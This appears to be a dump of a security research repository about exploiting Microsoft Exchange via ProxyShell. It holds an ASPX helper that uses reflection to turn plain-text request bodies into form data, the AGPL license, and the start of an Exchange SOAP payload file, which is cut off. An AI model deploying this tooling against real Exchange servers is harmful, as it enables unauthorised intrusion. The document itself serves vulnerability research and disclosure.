├── DotNetPlainTextParser.aspx
├── LICENSE
├── MeetingAlert.png
├── NSAPayload1.xml
├── NSAPayload2.xml
├── PSTEncoder
    ├── PSTEncoder.c
    ├── PSTEncoder.vcxproj
    ├── PSTEncoder.vcxproj.user
    ├── base64.c
    ├── base64.h
    └── x64
    │   └── Debug
    │       └── PSTEncoder.exe
├── README.md
├── exchange2016-ExposedCmdlets-March-2021.txt
└── images
    ├── 1.png
    ├── 10.png
    ├── 11.png
    ├── 12.png
    ├── 13.png
    ├── 14.png
    ├── 15.png
    ├── 16.png
    ├── 17.png
    ├── 18.png
    ├── 19.png
    ├── 2.png
    ├── 3.png
    ├── 4.png
    ├── 5.png
    ├── 6.png
    ├── 7.png
    ├── 8.png
    ├── 9.png
    ├── MeetingAlert.png
    └── mitmproxy.png


/DotNetPlainTextParser.aspx:
--------------------------------------------------------------------------------
 1 | <%
 2 | // written by Soroush Dalili (@irsdl)
 3 | // Simple multiline plain/text to Form Key/Value converter!
 4 | if(System.Web.HttpContext.Current.Request.Form.Count == 0 && System.Web.HttpContext.Current.Request.ContentType=="text/plain"){
 5 | 	var bodyString = "";
 6 | 	using (System.IO.StreamReader reader = new System.IO.StreamReader(System.Web.HttpContext.Current.Request.InputStream, Encoding.UTF8))
 7 | 	{
 8 | 		bodyString = reader.ReadToEnd();
 9 | 	}
10 | 
11 | 	string[] result = System.Text.RegularExpressions.Regex.Split(bodyString, @"(?<parser>[^\r\n=]{1,50}=[^\r\n]*([\r\n]+[^\r\n=]+)*)(?=[\r\n])", System.Text.RegularExpressions.RegexOptions.Multiline|System.Text.RegularExpressions.RegexOptions.ExplicitCapture, System.TimeSpan.FromMilliseconds(500));
12 | 
13 | 	var oForm = System.Web.HttpContext.Current.Request.Form;
14 | 	var flags = System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance;
15 | 	oForm = (NameValueCollection) System.Web.HttpContext.Current.Request.GetType().GetField("_form", flags).GetValue(System.Web.HttpContext.Current.Request);
16 | 	var oReadable = oForm.GetType().GetProperty("IsReadOnly", flags);
17 | 	oReadable.SetValue(oForm, false, null);
18 | 
19 | 	foreach (string match in result)
20 | 	{
21 | 		if(!String.IsNullOrWhiteSpace(match)){
22 | 			var keyValue = match.Split(new char[] { '=' },2);
23 | 			var key = keyValue[0];
24 | 			if(!String.IsNullOrWhiteSpace(key)){
25 | 				var value = "";
26 | 				if(keyValue.Length > 1)
27 | 					value =  keyValue[1];
28 | 				
29 | 				oForm[key] = value;
30 | 				//System.Web.HttpContext.Current.Response.Write(key+"="+value+"&");
31 | 			}
32 | 		}
33 | 	}
34 | 
35 | 	oReadable.SetValue(oForm, true, null);
36 | 	
37 | 	var oContentType = System.Web.HttpContext.Current.Request.GetType().GetField("_contentType", flags);
38 | 	oContentType.SetValue(System.Web.HttpContext.Current.Request, "application/x-www-form-urlencoded");
39 | 	
40 | 	System.Web.HttpContext.Current.Response.Clear();
41 |     System.Web.HttpContext.Current.Response.BufferOutput = true;
42 | 	Server.Transfer(System.Web.HttpContext.Current.Request.Path, true);
43 | 	System.Web.HttpContext.Current.Response.End();
44 | 
45 | }
46 | %>


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
  1 |                     GNU AFFERO GENERAL PUBLIC LICENSE
  2 |                        Version 3, 19 November 2007
  3 | 
  4 |  Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
  5 |  Everyone is permitted to copy and distribute verbatim copies
  6 |  of this license document, but changing it is not allowed.
  7 | 
  8 |                             Preamble
  9 | 
 10 |   The GNU Affero General Public License is a free, copyleft license for
 11 | software and other kinds of works, specifically designed to ensure
 12 | cooperation with the community in the case of network server software.
 13 | 
 14 |   The licenses for most software and other practical works are designed
 15 | to take away your freedom to share and change the works.  By contrast,
 16 | our General Public Licenses are intended to guarantee your freedom to
 17 | share and change all versions of a program--to make sure it remains free
 18 | software for all its users.
 19 | 
 20 |   When we speak of free software, we are referring to freedom, not
 21 | price.  Our General Public Licenses are designed to make sure that you
 22 | have the freedom to distribute copies of free software (and charge for
 23 | them if you wish), that you receive source code or can get it if you
 24 | want it, that you can change the software or use pieces of it in new
 25 | free programs, and that you know you can do these things.
 26 | 
 27 |   Developers that use our General Public Licenses protect your rights
 28 | with two steps: (1) assert copyright on the software, and (2) offer
 29 | you this License which gives you legal permission to copy, distribute
 30 | and/or modify the software.
 31 | 
 32 |   A secondary benefit of defending all users' freedom is that
 33 | improvements made in alternate versions of the program, if they
 34 | receive widespread use, become available for other developers to
 35 | incorporate.  Many developers of free software are heartened and
 36 | encouraged by the resulting cooperation.  However, in the case of
 37 | software used on network servers, this result may fail to come about.
 38 | The GNU General Public License permits making a modified version and
 39 | letting the public access it on a server without ever releasing its
 40 | source code to the public.
 41 | 
 42 |   The GNU Affero General Public License is designed specifically to
 43 | ensure that, in such cases, the modified source code becomes available
 44 | to the community.  It requires the operator of a network server to
 45 | provide the source code of the modified version running there to the
 46 | users of that server.  Therefore, public use of a modified version, on
 47 | a publicly accessible server, gives the public access to the source
 48 | code of the modified version.
 49 | 
 50 |   An older license, called the Affero General Public License and
 51 | published by Affero, was designed to accomplish similar goals.  This is
 52 | a different license, not a version of the Affero GPL, but Affero has
 53 | released a new version of the Affero GPL which permits relicensing under
 54 | this license.
 55 | 
 56 |   The precise terms and conditions for copying, distribution and
 57 | modification follow.
 58 | 
 59 |                        TERMS AND CONDITIONS
 60 | 
 61 |   0. Definitions.
 62 | 
 63 |   "This License" refers to version 3 of the GNU Affero General Public License.
 64 | 
 65 |   "Copyright" also means copyright-like laws that apply to other kinds of
 66 | works, such as semiconductor masks.
 67 | 
 68 |   "The Program" refers to any copyrightable work licensed under this
 69 | License.  Each licensee is addressed as "you".  "Licensees" and
 70 | "recipients" may be individuals or organizations.
 71 | 
 72 |   To "modify" a work means to copy from or adapt all or part of the work
 73 | in a fashion requiring copyright permission, other than the making of an
 74 | exact copy.  The resulting work is called a "modified version" of the
 75 | earlier work or a work "based on" the earlier work.
 76 | 
 77 |   A "covered work" means either the unmodified Program or a work based
 78 | on the Program.
 79 | 
 80 |   To "propagate" a work means to do anything with it that, without
 81 | permission, would make you directly or secondarily liable for
 82 | infringement under applicable copyright law, except executing it on a
 83 | computer or modifying a private copy.  Propagation includes copying,
 84 | distribution (with or without modification), making available to the
 85 | public, and in some countries other activities as well.
 86 | 
 87 |   To "convey" a work means any kind of propagation that enables other
 88 | parties to make or receive copies.  Mere interaction with a user through
 89 | a computer network, with no transfer of a copy, is not conveying.
 90 | 
 91 |   An interactive user interface displays "Appropriate Legal Notices"
 92 | to the extent that it includes a convenient and prominently visible
 93 | feature that (1) displays an appropriate copyright notice, and (2)
 94 | tells the user that there is no warranty for the work (except to the
 95 | extent that warranties are provided), that licensees may convey the
 96 | work under this License, and how to view a copy of this License.  If
 97 | the interface presents a list of user commands or options, such as a
 98 | menu, a prominent item in the list meets this criterion.
 99 | 
100 |   1. Source Code.
101 | 
102 |   The "source code" for a work means the preferred form of the work
103 | for making modifications to it.  "Object code" means any non-source
104 | form of a work.
105 | 
106 |   A "Standard Interface" means an interface that either is an official
107 | standard defined by a recognized standards body, or, in the case of
108 | interfaces specified for a particular programming language, one that
109 | is widely used among developers working in that language.
110 | 
111 |   The "System Libraries" of an executable work include anything, other
112 | than the work as a whole, that (a) is included in the normal form of
113 | packaging a Major Component, but which is not part of that Major
114 | Component, and (b) serves only to enable use of the work with that
115 | Major Component, or to implement a Standard Interface for which an
116 | implementation is available to the public in source code form.  A
117 | "Major Component", in this context, means a major essential component
118 | (kernel, window system, and so on) of the specific operating system
119 | (if any) on which the executable work runs, or a compiler used to
120 | produce the work, or an object code interpreter used to run it.
121 | 
122 |   The "Corresponding Source" for a work in object code form means all
123 | the source code needed to generate, install, and (for an executable
124 | work) run the object code and to modify the work, including scripts to
125 | control those activities.  However, it does not include the work's
126 | System Libraries, or general-purpose tools or generally available free
127 | programs which are used unmodified in performing those activities but
128 | which are not part of the work.  For example, Corresponding Source
129 | includes interface definition files associated with source files for
130 | the work, and the source code for shared libraries and dynamically
131 | linked subprograms that the work is specifically designed to require,
132 | such as by intimate data communication or control flow between those
133 | subprograms and other parts of the work.
134 | 
135 |   The Corresponding Source need not include anything that users
136 | can regenerate automatically from other parts of the Corresponding
137 | Source.
138 | 
139 |   The Corresponding Source for a work in source code form is that
140 | same work.
141 | 
142 |   2. Basic Permissions.
143 | 
144 |   All rights granted under this License are granted for the term of
145 | copyright on the Program, and are irrevocable provided the stated
146 | conditions are met.  This License explicitly affirms your unlimited
147 | permission to run the unmodified Program.  The output from running a
148 | covered work is covered by this License only if the output, given its
149 | content, constitutes a covered work.  This License acknowledges your
150 | rights of fair use or other equivalent, as provided by copyright law.
151 | 
152 |   You may make, run and propagate covered works that you do not
153 | convey, without conditions so long as your license otherwise remains
154 | in force.  You may convey covered works to others for the sole purpose
155 | of having them make modifications exclusively for you, or provide you
156 | with facilities for running those works, provided that you comply with
157 | the terms of this License in conveying all material for which you do
158 | not control copyright.  Those thus making or running the covered works
159 | for you must do so exclusively on your behalf, under your direction
160 | and control, on terms that prohibit them from making any copies of
161 | your copyrighted material outside their relationship with you.
162 | 
163 |   Conveying under any other circumstances is permitted solely under
164 | the conditions stated below.  Sublicensing is not allowed; section 10
165 | makes it unnecessary.
166 | 
167 |   3. Protecting Users' Legal Rights From Anti-Circumvention Law.
168 | 
169 |   No covered work shall be deemed part of an effective technological
170 | measure under any applicable law fulfilling obligations under article
171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
172 | similar laws prohibiting or restricting circumvention of such
173 | measures.
174 | 
175 |   When you convey a covered work, you waive any legal power to forbid
176 | circumvention of technological measures to the extent such circumvention
177 | is effected by exercising rights under this License with respect to
178 | the covered work, and you disclaim any intention to limit operation or
179 | modification of the work as a means of enforcing, against the work's
180 | users, your or third parties' legal rights to forbid circumvention of
181 | technological measures.
182 | 
183 |   4. Conveying Verbatim Copies.
184 | 
185 |   You may convey verbatim copies of the Program's source code as you
186 | receive it, in any medium, provided that you conspicuously and
187 | appropriately publish on each copy an appropriate copyright notice;
188 | keep intact all notices stating that this License and any
189 | non-permissive terms added in accord with section 7 apply to the code;
190 | keep intact all notices of the absence of any warranty; and give all
191 | recipients a copy of this License along with the Program.
192 | 
193 |   You may charge any price or no price for each copy that you convey,
194 | and you may offer support or warranty protection for a fee.
195 | 
196 |   5. Conveying Modified Source Versions.
197 | 
198 |   You may convey a work based on the Program, or the modifications to
199 | produce it from the Program, in the form of source code under the
200 | terms of section 4, provided that you also meet all of these conditions:
201 | 
202 |     a) The work must carry prominent notices stating that you modified
203 |     it, and giving a relevant date.
204 | 
205 |     b) The work must carry prominent notices stating that it is
206 |     released under this License and any conditions added under section
207 |     7.  This requirement modifies the requirement in section 4 to
208 |     "keep intact all notices".
209 | 
210 |     c) You must license the entire work, as a whole, under this
211 |     License to anyone who comes into possession of a copy.  This
212 |     License will therefore apply, along with any applicable section 7
213 |     additional terms, to the whole of the work, and all its parts,
214 |     regardless of how they are packaged.  This License gives no
215 |     permission to license the work in any other way, but it does not
216 |     invalidate such permission if you have separately received it.
217 | 
218 |     d) If the work has interactive user interfaces, each must display
219 |     Appropriate Legal Notices; however, if the Program has interactive
220 |     interfaces that do not display Appropriate Legal Notices, your
221 |     work need not make them do so.
222 | 
223 |   A compilation of a covered work with other separate and independent
224 | works, which are not by their nature extensions of the covered work,
225 | and which are not combined with it such as to form a larger program,
226 | in or on a volume of a storage or distribution medium, is called an
227 | "aggregate" if the compilation and its resulting copyright are not
228 | used to limit the access or legal rights of the compilation's users
229 | beyond what the individual works permit.  Inclusion of a covered work
230 | in an aggregate does not cause this License to apply to the other
231 | parts of the aggregate.
232 | 
233 |   6. Conveying Non-Source Forms.
234 | 
235 |   You may convey a covered work in object code form under the terms
236 | of sections 4 and 5, provided that you also convey the
237 | machine-readable Corresponding Source under the terms of this License,
238 | in one of these ways:
239 | 
240 |     a) Convey the object code in, or embodied in, a physical product
241 |     (including a physical distribution medium), accompanied by the
242 |     Corresponding Source fixed on a durable physical medium
243 |     customarily used for software interchange.
244 | 
245 |     b) Convey the object code in, or embodied in, a physical product
246 |     (including a physical distribution medium), accompanied by a
247 |     written offer, valid for at least three years and valid for as
248 |     long as you offer spare parts or customer support for that product
249 |     model, to give anyone who possesses the object code either (1) a
250 |     copy of the Corresponding Source for all the software in the
251 |     product that is covered by this License, on a durable physical
252 |     medium customarily used for software interchange, for a price no
253 |     more than your reasonable cost of physically performing this
254 |     conveying of source, or (2) access to copy the
255 |     Corresponding Source from a network server at no charge.
256 | 
257 |     c) Convey individual copies of the object code with a copy of the
258 |     written offer to provide the Corresponding Source.  This
259 |     alternative is allowed only occasionally and noncommercially, and
260 |     only if you received the object code with such an offer, in accord
261 |     with subsection 6b.
262 | 
263 |     d) Convey the object code by offering access from a designated
264 |     place (gratis or for a charge), and offer equivalent access to the
265 |     Corresponding Source in the same way through the same place at no
266 |     further charge.  You need not require recipients to copy the
267 |     Corresponding Source along with the object code.  If the place to
268 |     copy the object code is a network server, the Corresponding Source
269 |     may be on a different server (operated by you or a third party)
270 |     that supports equivalent copying facilities, provided you maintain
271 |     clear directions next to the object code saying where to find the
272 |     Corresponding Source.  Regardless of what server hosts the
273 |     Corresponding Source, you remain obligated to ensure that it is
274 |     available for as long as needed to satisfy these requirements.
275 | 
276 |     e) Convey the object code using peer-to-peer transmission, provided
277 |     you inform other peers where the object code and Corresponding
278 |     Source of the work are being offered to the general public at no
279 |     charge under subsection 6d.
280 | 
281 |   A separable portion of the object code, whose source code is excluded
282 | from the Corresponding Source as a System Library, need not be
283 | included in conveying the object code work.
284 | 
285 |   A "User Product" is either (1) a "consumer product", which means any
286 | tangible personal property which is normally used for personal, family,
287 | or household purposes, or (2) anything designed or sold for incorporation
288 | into a dwelling.  In determining whether a product is a consumer product,
289 | doubtful cases shall be resolved in favor of coverage.  For a particular
290 | product received by a particular user, "normally used" refers to a
291 | typical or common use of that class of product, regardless of the status
292 | of the particular user or of the way in which the particular user
293 | actually uses, or expects or is expected to use, the product.  A product
294 | is a consumer product regardless of whether the product has substantial
295 | commercial, industrial or non-consumer uses, unless such uses represent
296 | the only significant mode of use of the product.
297 | 
298 |   "Installation Information" for a User Product means any methods,
299 | procedures, authorization keys, or other information required to install
300 | and execute modified versions of a covered work in that User Product from
301 | a modified version of its Corresponding Source.  The information must
302 | suffice to ensure that the continued functioning of the modified object
303 | code is in no case prevented or interfered with solely because
304 | modification has been made.
305 | 
306 |   If you convey an object code work under this section in, or with, or
307 | specifically for use in, a User Product, and the conveying occurs as
308 | part of a transaction in which the right of possession and use of the
309 | User Product is transferred to the recipient in perpetuity or for a
310 | fixed term (regardless of how the transaction is characterized), the
311 | Corresponding Source conveyed under this section must be accompanied
312 | by the Installation Information.  But this requirement does not apply
313 | if neither you nor any third party retains the ability to install
314 | modified object code on the User Product (for example, the work has
315 | been installed in ROM).
316 | 
317 |   The requirement to provide Installation Information does not include a
318 | requirement to continue to provide support service, warranty, or updates
319 | for a work that has been modified or installed by the recipient, or for
320 | the User Product in which it has been modified or installed.  Access to a
321 | network may be denied when the modification itself materially and
322 | adversely affects the operation of the network or violates the rules and
323 | protocols for communication across the network.
324 | 
325 |   Corresponding Source conveyed, and Installation Information provided,
326 | in accord with this section must be in a format that is publicly
327 | documented (and with an implementation available to the public in
328 | source code form), and must require no special password or key for
329 | unpacking, reading or copying.
330 | 
331 |   7. Additional Terms.
332 | 
333 |   "Additional permissions" are terms that supplement the terms of this
334 | License by making exceptions from one or more of its conditions.
335 | Additional permissions that are applicable to the entire Program shall
336 | be treated as though they were included in this License, to the extent
337 | that they are valid under applicable law.  If additional permissions
338 | apply only to part of the Program, that part may be used separately
339 | under those permissions, but the entire Program remains governed by
340 | this License without regard to the additional permissions.
341 | 
342 |   When you convey a copy of a covered work, you may at your option
343 | remove any additional permissions from that copy, or from any part of
344 | it.  (Additional permissions may be written to require their own
345 | removal in certain cases when you modify the work.)  You may place
346 | additional permissions on material, added by you to a covered work,
347 | for which you have or can give appropriate copyright permission.
348 | 
349 |   Notwithstanding any other provision of this License, for material you
350 | add to a covered work, you may (if authorized by the copyright holders of
351 | that material) supplement the terms of this License with terms:
352 | 
353 |     a) Disclaiming warranty or limiting liability differently from the
354 |     terms of sections 15 and 16 of this License; or
355 | 
356 |     b) Requiring preservation of specified reasonable legal notices or
357 |     author attributions in that material or in the Appropriate Legal
358 |     Notices displayed by works containing it; or
359 | 
360 |     c) Prohibiting misrepresentation of the origin of that material, or
361 |     requiring that modified versions of such material be marked in
362 |     reasonable ways as different from the original version; or
363 | 
364 |     d) Limiting the use for publicity purposes of names of licensors or
365 |     authors of the material; or
366 | 
367 |     e) Declining to grant rights under trademark law for use of some
368 |     trade names, trademarks, or service marks; or
369 | 
370 |     f) Requiring indemnification of licensors and authors of that
371 |     material by anyone who conveys the material (or modified versions of
372 |     it) with contractual assumptions of liability to the recipient, for
373 |     any liability that these contractual assumptions directly impose on
374 |     those licensors and authors.
375 | 
376 |   All other non-permissive additional terms are considered "further
377 | restrictions" within the meaning of section 10.  If the Program as you
378 | received it, or any part of it, contains a notice stating that it is
379 | governed by this License along with a term that is a further
380 | restriction, you may remove that term.  If a license document contains
381 | a further restriction but permits relicensing or conveying under this
382 | License, you may add to a covered work material governed by the terms
383 | of that license document, provided that the further restriction does
384 | not survive such relicensing or conveying.
385 | 
386 |   If you add terms to a covered work in accord with this section, you
387 | must place, in the relevant source files, a statement of the
388 | additional terms that apply to those files, or a notice indicating
389 | where to find the applicable terms.
390 | 
391 |   Additional terms, permissive or non-permissive, may be stated in the
392 | form of a separately written license, or stated as exceptions;
393 | the above requirements apply either way.
394 | 
395 |   8. Termination.
396 | 
397 |   You may not propagate or modify a covered work except as expressly
398 | provided under this License.  Any attempt otherwise to propagate or
399 | modify it is void, and will automatically terminate your rights under
400 | this License (including any patent licenses granted under the third
401 | paragraph of section 11).
402 | 
403 |   However, if you cease all violation of this License, then your
404 | license from a particular copyright holder is reinstated (a)
405 | provisionally, unless and until the copyright holder explicitly and
406 | finally terminates your license, and (b) permanently, if the copyright
407 | holder fails to notify you of the violation by some reasonable means
408 | prior to 60 days after the cessation.
409 | 
410 |   Moreover, your license from a particular copyright holder is
411 | reinstated permanently if the copyright holder notifies you of the
412 | violation by some reasonable means, this is the first time you have
413 | received notice of violation of this License (for any work) from that
414 | copyright holder, and you cure the violation prior to 30 days after
415 | your receipt of the notice.
416 | 
417 |   Termination of your rights under this section does not terminate the
418 | licenses of parties who have received copies or rights from you under
419 | this License.  If your rights have been terminated and not permanently
420 | reinstated, you do not qualify to receive new licenses for the same
421 | material under section 10.
422 | 
423 |   9. Acceptance Not Required for Having Copies.
424 | 
425 |   You are not required to accept this License in order to receive or
426 | run a copy of the Program.  Ancillary propagation of a covered work
427 | occurring solely as a consequence of using peer-to-peer transmission
428 | to receive a copy likewise does not require acceptance.  However,
429 | nothing other than this License grants you permission to propagate or
430 | modify any covered work.  These actions infringe copyright if you do
431 | not accept this License.  Therefore, by modifying or propagating a
432 | covered work, you indicate your acceptance of this License to do so.
433 | 
434 |   10. Automatic Licensing of Downstream Recipients.
435 | 
436 |   Each time you convey a covered work, the recipient automatically
437 | receives a license from the original licensors, to run, modify and
438 | propagate that work, subject to this License.  You are not responsible
439 | for enforcing compliance by third parties with this License.
440 | 
441 |   An "entity transaction" is a transaction transferring control of an
442 | organization, or substantially all assets of one, or subdividing an
443 | organization, or merging organizations.  If propagation of a covered
444 | work results from an entity transaction, each party to that
445 | transaction who receives a copy of the work also receives whatever
446 | licenses to the work the party's predecessor in interest had or could
447 | give under the previous paragraph, plus a right to possession of the
448 | Corresponding Source of the work from the predecessor in interest, if
449 | the predecessor has it or can get it with reasonable efforts.
450 | 
451 |   You may not impose any further restrictions on the exercise of the
452 | rights granted or affirmed under this License.  For example, you may
453 | not impose a license fee, royalty, or other charge for exercise of
454 | rights granted under this License, and you may not initiate litigation
455 | (including a cross-claim or counterclaim in a lawsuit) alleging that
456 | any patent claim is infringed by making, using, selling, offering for
457 | sale, or importing the Program or any portion of it.
458 | 
459 |   11. Patents.
460 | 
461 |   A "contributor" is a copyright holder who authorizes use under this
462 | License of the Program or a work on which the Program is based.  The
463 | work thus licensed is called the contributor's "contributor version".
464 | 
465 |   A contributor's "essential patent claims" are all patent claims
466 | owned or controlled by the contributor, whether already acquired or
467 | hereafter acquired, that would be infringed by some manner, permitted
468 | by this License, of making, using, or selling its contributor version,
469 | but do not include claims that would be infringed only as a
470 | consequence of further modification of the contributor version.  For
471 | purposes of this definition, "control" includes the right to grant
472 | patent sublicenses in a manner consistent with the requirements of
473 | this License.
474 | 
475 |   Each contributor grants you a non-exclusive, worldwide, royalty-free
476 | patent license under the contributor's essential patent claims, to
477 | make, use, sell, offer for sale, import and otherwise run, modify and
478 | propagate the contents of its contributor version.
479 | 
480 |   In the following three paragraphs, a "patent license" is any express
481 | agreement or commitment, however denominated, not to enforce a patent
482 | (such as an express permission to practice a patent or covenant not to
483 | sue for patent infringement).  To "grant" such a patent license to a
484 | party means to make such an agreement or commitment not to enforce a
485 | patent against the party.
486 | 
487 |   If you convey a covered work, knowingly relying on a patent license,
488 | and the Corresponding Source of the work is not available for anyone
489 | to copy, free of charge and under the terms of this License, through a
490 | publicly available network server or other readily accessible means,
491 | then you must either (1) cause the Corresponding Source to be so
492 | available, or (2) arrange to deprive yourself of the benefit of the
493 | patent license for this particular work, or (3) arrange, in a manner
494 | consistent with the requirements of this License, to extend the patent
495 | license to downstream recipients.  "Knowingly relying" means you have
496 | actual knowledge that, but for the patent license, your conveying the
497 | covered work in a country, or your recipient's use of the covered work
498 | in a country, would infringe one or more identifiable patents in that
499 | country that you have reason to believe are valid.
500 | 
501 |   If, pursuant to or in connection with a single transaction or
502 | arrangement, you convey, or propagate by procuring conveyance of, a
503 | covered work, and grant a patent license to some of the parties
504 | receiving the covered work authorizing them to use, propagate, modify
505 | or convey a specific copy of the covered work, then the patent license
506 | you grant is automatically extended to all recipients of the covered
507 | work and works based on it.
508 | 
509 |   A patent license is "discriminatory" if it does not include within
510 | the scope of its coverage, prohibits the exercise of, or is
511 | conditioned on the non-exercise of one or more of the rights that are
512 | specifically granted under this License.  You may not convey a covered
513 | work if you are a party to an arrangement with a third party that is
514 | in the business of distributing software, under which you make payment
515 | to the third party based on the extent of your activity of conveying
516 | the work, and under which the third party grants, to any of the
517 | parties who would receive the covered work from you, a discriminatory
518 | patent license (a) in connection with copies of the covered work
519 | conveyed by you (or copies made from those copies), or (b) primarily
520 | for and in connection with specific products or compilations that
521 | contain the covered work, unless you entered into that arrangement,
522 | or that patent license was granted, prior to 28 March 2007.
523 | 
524 |   Nothing in this License shall be construed as excluding or limiting
525 | any implied license or other defenses to infringement that may
526 | otherwise be available to you under applicable patent law.
527 | 
528 |   12. No Surrender of Others' Freedom.
529 | 
530 |   If conditions are imposed on you (whether by court order, agreement or
531 | otherwise) that contradict the conditions of this License, they do not
532 | excuse you from the conditions of this License.  If you cannot convey a
533 | covered work so as to satisfy simultaneously your obligations under this
534 | License and any other pertinent obligations, then as a consequence you may
535 | not convey it at all.  For example, if you agree to terms that obligate you
536 | to collect a royalty for further conveying from those to whom you convey
537 | the Program, the only way you could satisfy both those terms and this
538 | License would be to refrain entirely from conveying the Program.
539 | 
540 |   13. Remote Network Interaction; Use with the GNU General Public License.
541 | 
542 |   Notwithstanding any other provision of this License, if you modify the
543 | Program, your modified version must prominently offer all users
544 | interacting with it remotely through a computer network (if your version
545 | supports such interaction) an opportunity to receive the Corresponding
546 | Source of your version by providing access to the Corresponding Source
547 | from a network server at no charge, through some standard or customary
548 | means of facilitating copying of software.  This Corresponding Source
549 | shall include the Corresponding Source for any work covered by version 3
550 | of the GNU General Public License that is incorporated pursuant to the
551 | following paragraph.
552 | 
553 |   Notwithstanding any other provision of this License, you have
554 | permission to link or combine any covered work with a work licensed
555 | under version 3 of the GNU General Public License into a single
556 | combined work, and to convey the resulting work.  The terms of this
557 | License will continue to apply to the part which is the covered work,
558 | but the work with which it is combined will remain governed by version
559 | 3 of the GNU General Public License.
560 | 
561 |   14. Revised Versions of this License.
562 | 
563 |   The Free Software Foundation may publish revised and/or new versions of
564 | the GNU Affero General Public License from time to time.  Such new versions
565 | will be similar in spirit to the present version, but may differ in detail to
566 | address new problems or concerns.
567 | 
568 |   Each version is given a distinguishing version number.  If the
569 | Program specifies that a certain numbered version of the GNU Affero General
570 | Public License "or any later version" applies to it, you have the
571 | option of following the terms and conditions either of that numbered
572 | version or of any later version published by the Free Software
573 | Foundation.  If the Program does not specify a version number of the
574 | GNU Affero General Public License, you may choose any version ever published
575 | by the Free Software Foundation.
576 | 
577 |   If the Program specifies that a proxy can decide which future
578 | versions of the GNU Affero General Public License can be used, that proxy's
579 | public statement of acceptance of a version permanently authorizes you
580 | to choose that version for the Program.
581 | 
582 |   Later license versions may give you additional or different
583 | permissions.  However, no additional obligations are imposed on any
584 | author or copyright holder as a result of your choosing to follow a
585 | later version.
586 | 
587 |   15. Disclaimer of Warranty.
588 | 
589 |   THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
590 | APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
594 | PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
595 | IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
597 | 
598 |   16. Limitation of Liability.
599 | 
600 |   IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
608 | SUCH DAMAGES.
609 | 
610 |   17. Interpretation of Sections 15 and 16.
611 | 
612 |   If the disclaimer of warranty and limitation of liability provided
613 | above cannot be given local legal effect according to their terms,
614 | reviewing courts shall apply local law that most closely approximates
615 | an absolute waiver of all civil liability in connection with the
616 | Program, unless a warranty or assumption of liability accompanies a
617 | copy of the Program in return for a fee.
618 | 
619 |                      END OF TERMS AND CONDITIONS
620 | 
621 |             How to Apply These Terms to Your New Programs
622 | 
623 |   If you develop a new program, and you want it to be of the greatest
624 | possible use to the public, the best way to achieve this is to make it
625 | free software which everyone can redistribute and change under these terms.
626 | 
627 |   To do so, attach the following notices to the program.  It is safest
628 | to attach them to the start of each source file to most effectively
629 | state the exclusion of warranty; and each file should have at least
630 | the "copyright" line and a pointer to where the full notice is found.
631 | 
632 |     <one line to give the program's name and a brief idea of what it does.>
633 |     Copyright (C) <year>  <name of author>
634 | 
635 |     This program is free software: you can redistribute it and/or modify
636 |     it under the terms of the GNU Affero General Public License as published
637 |     by the Free Software Foundation, either version 3 of the License, or
638 |     (at your option) any later version.
639 | 
640 |     This program is distributed in the hope that it will be useful,
641 |     but WITHOUT ANY WARRANTY; without even the implied warranty of
642 |     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
643 |     GNU Affero General Public License for more details.
644 | 
645 |     You should have received a copy of the GNU Affero General Public License
646 |     along with this program.  If not, see <https://www.gnu.org/licenses/>.
647 | 
648 | Also add information on how to contact you by electronic and paper mail.
649 | 
650 |   If your software can interact with users remotely through a computer
651 | network, you should also make sure that it provides a way for users to
652 | get its source.  For example, if your program is a web application, its
653 | interface could display a "Source" link that leads users to an archive
654 | of the code.  There are many ways you could offer source, and different
655 | solutions will be better for different programs; see section 13 for the
656 | specific requirements.
657 | 
658 |   You should also get your employer (if you work as a programmer) or school,
659 | if any, to sign a "copyright disclaimer" for the program, if necessary.
660 | For more information on this, and how to apply and follow the GNU AGPL, see
661 | <https://www.gnu.org/licenses/>.
662 | 


--------------------------------------------------------------------------------
/MeetingAlert.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mdsecresearch/NSAMeetingWithProxyShell/ee80c543069dd8ce679d025c488bf591100ddf45/MeetingAlert.png


--------------------------------------------------------------------------------
/NSAPayload1.xml:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  3 |                xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
  4 |                xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
  5 |                xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  6 |   <soap:Header>
  7 |     <t:RequestServerVersion Version="Exchange2016" />
  8 |     <t:TimeZoneContext>
